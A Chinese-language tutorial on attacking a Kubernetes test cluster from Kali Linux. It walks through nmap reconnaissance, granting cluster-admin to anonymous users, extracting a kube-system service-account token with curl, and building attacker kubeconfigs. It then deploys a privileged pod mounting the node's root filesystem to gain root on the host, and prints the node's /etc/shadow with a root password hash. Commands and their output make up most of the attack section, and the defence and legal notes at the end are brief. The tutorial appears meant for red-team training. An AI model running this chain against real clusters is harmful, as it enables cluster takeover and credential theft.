《Kali Linux攻击Kubernetes集群实战教程》
·
一、目标读者与前提条件
-
面向对象
-
网络安全研究人员、红队成员、DevSecOps工程师
-
需具备Kali Linux基础操作和Kubernetes架构知识
-
-
环境要求
-
Kali Linux 2023+
-
测试用Kubernetes集群(建议使用Minikube或Kind搭建)
-
kubectl、nmap、metasploit等工具已安装
-
二、K8s攻击面分析
-
常见脆弱点
| 脆弱点类型 | 风险等级 | 典型场景 | 利用条件 |
|---|---|---|---|
| API Server 匿名访问 | 高危 | 未启用 RBAC,允许system:anonymous操作 | 集群配置错误(手动绑定cluster-admin) |
| 过度授权 ServiceAccount | 高危 | SA 绑定cluster-admin角色 | 管理员误配置角色绑定 |
| 特权模式 Pod+HostPath | 高危 | Pod 开启privileged: true并挂载节点/ | 具备创建 Pod 权限(SA 有pods/create权限) |
| ETCD 未加密 / 弱认证 | 高危 | ETCD 2379 端口暴露且无认证 ETCD 2379 端口暴露且无认证 | 能访问 ETCD 端口,获取集群所有数据 |
-
信息收集命令
nmap -sV -p 2379,6443,8080 <cluster-ip>
┌──(root㉿kali)-[~] └─# nmap -sV -p 2379,6443,8080 192.168.179.170 Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-21 01:27 EDT Nmap scan report for 192.168.179.170 Host is up (0.00050s latency). PORT STATE SERVICE VERSION 2379/tcp open ssl/etcd-client? 6443/tcp open ssl/http Golang net/http server 8080/tcp closed http-proxy
2379/tcp open ssl/etcd-client: 一个 etcd 客户端端口开放 6443/tcp open ssl/http: 一个 Kubernetes API Server 运行中 8080/tcp closed: HTTP代理端口关闭(正常)
三、实战攻击步骤
-
假设对集群进行允许匿名访问
kubectl create clusterrolebinding anno --clusterrole=cluster-admin --user=system:anonymous 注:开启匿名访问后,虽可直接用匿名身份操作集群,但为后续‘持久化控制’(避免匿名配置被删除),需进一步获取kube-system命名空间的 SA Token 作为稳定凭证
apiVersion: v1 kind: Secret metadata: name: kube-system-sa namespace: kube-system annotations: kubernetes.io/service-account.name: default type: kubernetes.io/service-account-token
kubectl apply -f secret-kube-system.yaml secret/kube-system-sa created
-
kali访问拿到token
curl -k https://192.168.179.170:6443/api/v1/namespaces/kube-system/secrets/kube-system-sa | jq -r .data.token
-
解码token
echo “******” | base64 -d > decoded_token.txt cat decoded_token.txt
-
设置API Server地址(在kali进行)
APISERVER="https://192.168.179.170:6443"
-
清楚现有集群配置
kubectl config delete-context attack-context 2>/dev/null || true kubectl config delete-cluster target-cluster 2>/dev/null || true kubectl config delete-user kube-system-sa 2>/dev/null || true
-
创建新的集群配置
kubectl config set-cluster target-cluster --server=$APISERVER --insecure-skip-tls-verify
-
创建用户配置(使用解码后的token)
TOKEN=$(cat decoded_token.txt) kubectl config set-credentials kube-system-sa --token=$TOKEN
-
创建上下文并这是为当前上下文
kubectl config set-context attack-context --cluster=target-cluster --user=kube-system-sa kubectl config use-context attack-context
-
验证配置
kubectl config view
deleted context attack-context from /home/kali/.kube/config
deleted cluster target-cluster from /home/kali/.kube/config
Cluster "target-cluster" set.
User "kube-system-sa" set.
Context "attack-context" created.
Switched to context "attack-context".
apiVersion: v1
clusters:
- cluster:
insecure-skip-tls-verify: true
server: https://192.168.179.170:6443
name: target-cluster
contexts:
- context:
cluster: target-cluster
user: kube-system-sa
name: attack-context
current-context: attack-context
kind: Config
preferences: {}
users:
- name: kube-system-sa
user:
token: REDACTED
- name: overprivileged-sa
user:
token: REDACTED
注:步骤 7-9 已配置全局kubectl上下文,但实战中为避免污染本地环境、方便携带凭证,需创建独立的test_token配置文件(仅在指定--kubeconfig=./test_token时生效
-
创建一个全新的、独立的 kubeconfig 配置文件
┌──(kali㉿kali)-[/tmp]
└─$ kubectl --kubeconfig=./test_token config set-cluster lucky_cluster --server=https://192.168.179.170:6443/ --insecure-skip-tls-verify
Cluster "lucky_cluster" set.
┌──(kali㉿kali)-[/tmp]
└─$ kubectl --kubeconfig=./test_token config set-context test_context --cluster=lucky_cluster --user=lucky
Context "test_context" created.
┌──(kali㉿kali)-[/tmp]
└─$ kubectl --kubeconfig=./test_token config use-context test_context
Switched to context "test_context".
-
在kali上创建恶意pod拿到root权限
apiVersion: v1
kind: Pod
metadata:
name: kali-vuln-pod
spec:
nodeName: czkmaster1
containers:
- name: root-container
image: busybox:1.36
imagePullPolicy: IfNotPresent
command: ["sleep","3600"]
securityContext:
privileged: true
volumeMounts:
- name: node-root-fs
mountPath: /host
volumes:
- name: node-root-fs
hostPath:
path: /
type: Directory
-
进入pod拿到root权限
┌──(kali㉿kali)-[/tmp] └─$ # 在 Kali 机终端执行,进入 Pod 容器 kubectl --kubeconfig=./test_token exec -it kali-vuln-pod -n default -- sh Please enter Username: 1 / # / # cd /host/ /host # cat etc/shadow root:$6$ID2i.kP7eaXcNrTs$HagDr3cWwiCRoFyEnKgU3fgfFLfI1nxBoZAtydpK743e.qvAHjZ51M4Q31AZHbFyNyvwTZqEm3.HZxO680xr3/::0:99999:7::: bin:*:19326:0:99999:7::: daemon:*:19326:0:99999:7::: adm:*:19326:0:99999:7::: lp:*:19326:0:99999:7::: sync:*:19326:0:99999:7::: shutdown:*:19326:0:99999:7::: halt:*:19326:0:99999:7::: mail:*:19326:0:99999:7::: operator:*:19326:0:99999:7::: games:*:19326:0:99999:7::: ftp:*:19326:0:99999:7::: nobody:*:19326:0:99999:7::: dbus:!!:20236:::::: systemd-coredump:!!:20236:::::: systemd-resolve:!!:20236:::::: tss:!!:20236:::::: polkitd:!!:20236:::::: libstoragemgmt:!!:20236:::::: sssd:!!:20236:::::: cockpit-ws:!!:20236:::::: cockpit-wsinstance:!!:20236:::::: chrony:!!:20236:::::: sshd:!!:20236::::::
##操控节点系统(等同于节点本地 root 操作)在 /host 目录下的所有操作,都会 实时同步到节点 chroot /host [root@kali-vuln-pod /]# ls bin boot data dev etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var [root@kali-vuln-pod /]# ls /root/ anaconda-ks.cfg calico.tar.gz k8s1_31_3 pod update-kubeadm-cert.sh busybox-1.36.tar.gz calico.yaml kubeadm.yaml secret-kube-system.yaml [root@kali-vuln-pod /]# mkdir /root/haha
##可以看到宿主机下面有个haha目录 [root@czkmaster1 ~]# ls anaconda-ks.cfg calico.tar.gz haha kubeadm.yaml secret-kube-system.yaml busybox-1.36.tar.gz calico.yaml k8s1_31_3 pod update-kubeadm-cert.sh
四、防御措施
-
加固建议
-
启用RBAC和Network Policies
-
定期更新kubelet和容器运行时
-
-
检测命令
kubectl auth can-i --list kubectl get networkpolicy --all-namespaces
五、法律与伦理声明
-
重要提醒
-
仅限授权测试环境使用
-
未经授权的渗透测试属于违法行为
-
六、延伸学习
-
推荐工具
-
kube-hunter
-
kubesploit
git clone https://github.com/aquasecurity/kube-hunter
-
-
CTF实战
-
VulnHub "VulnKubernetes"
-
HackTheBox K8s靶机
-
七、总结
通过本教程可掌握K8s常见攻击手法,建议结合MITRE ATT&CK矩阵进行防御演练。安全是持续过程,需保持对CVE公告的关注。
更多推荐
所有评论(0)